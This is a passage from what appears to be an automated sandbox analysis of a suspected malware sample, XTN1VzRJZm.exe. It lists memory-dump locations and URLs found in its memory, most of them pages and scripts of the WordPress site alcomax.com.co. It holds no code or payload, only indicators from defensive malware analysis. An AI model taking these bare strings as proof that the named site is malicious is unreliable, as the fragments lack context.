00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co/pruebas-de-drogas/
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co/servicios-para-equipos-de-medicion/
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co/sonometros/
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.1.7
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co/wp-content/themes/envo-multipurpose/js/bootstrap.min.js?ver=3.3.7
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co/wp-content/themes/envo-multipurpose/js/customscript.js?ver=1.1.1
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co/wp-includes/js/wp-embed.min.js?ver=5
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co/wp-includes/js/wp-embed.min.js?ver=5.2.21
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002BBE000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027F2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000029DA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B94000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AFD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B46000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002921000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283E000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027DA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B22000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B6C000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002883000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co/wp-json/
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co3
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co:
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co?n/3
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027F2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000029DA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B94000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AFD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000279C000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B46000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002921000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283E000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027DA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B22000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B6C000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002883000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.coD
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028DE000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002836000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.coF
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.coFB
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.coK0
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.coN4
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.coQ
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028F2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.coW
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.coZ
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.cof
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000282A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.cou
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.cox%Z
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002913000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.coz
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002BBE000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027F2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000029DA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B94000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AFD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B46000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002921000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283E000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027DA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B22000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B6C000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002883000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.w.org/
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://envothemes.com/
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wordpress.org/
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 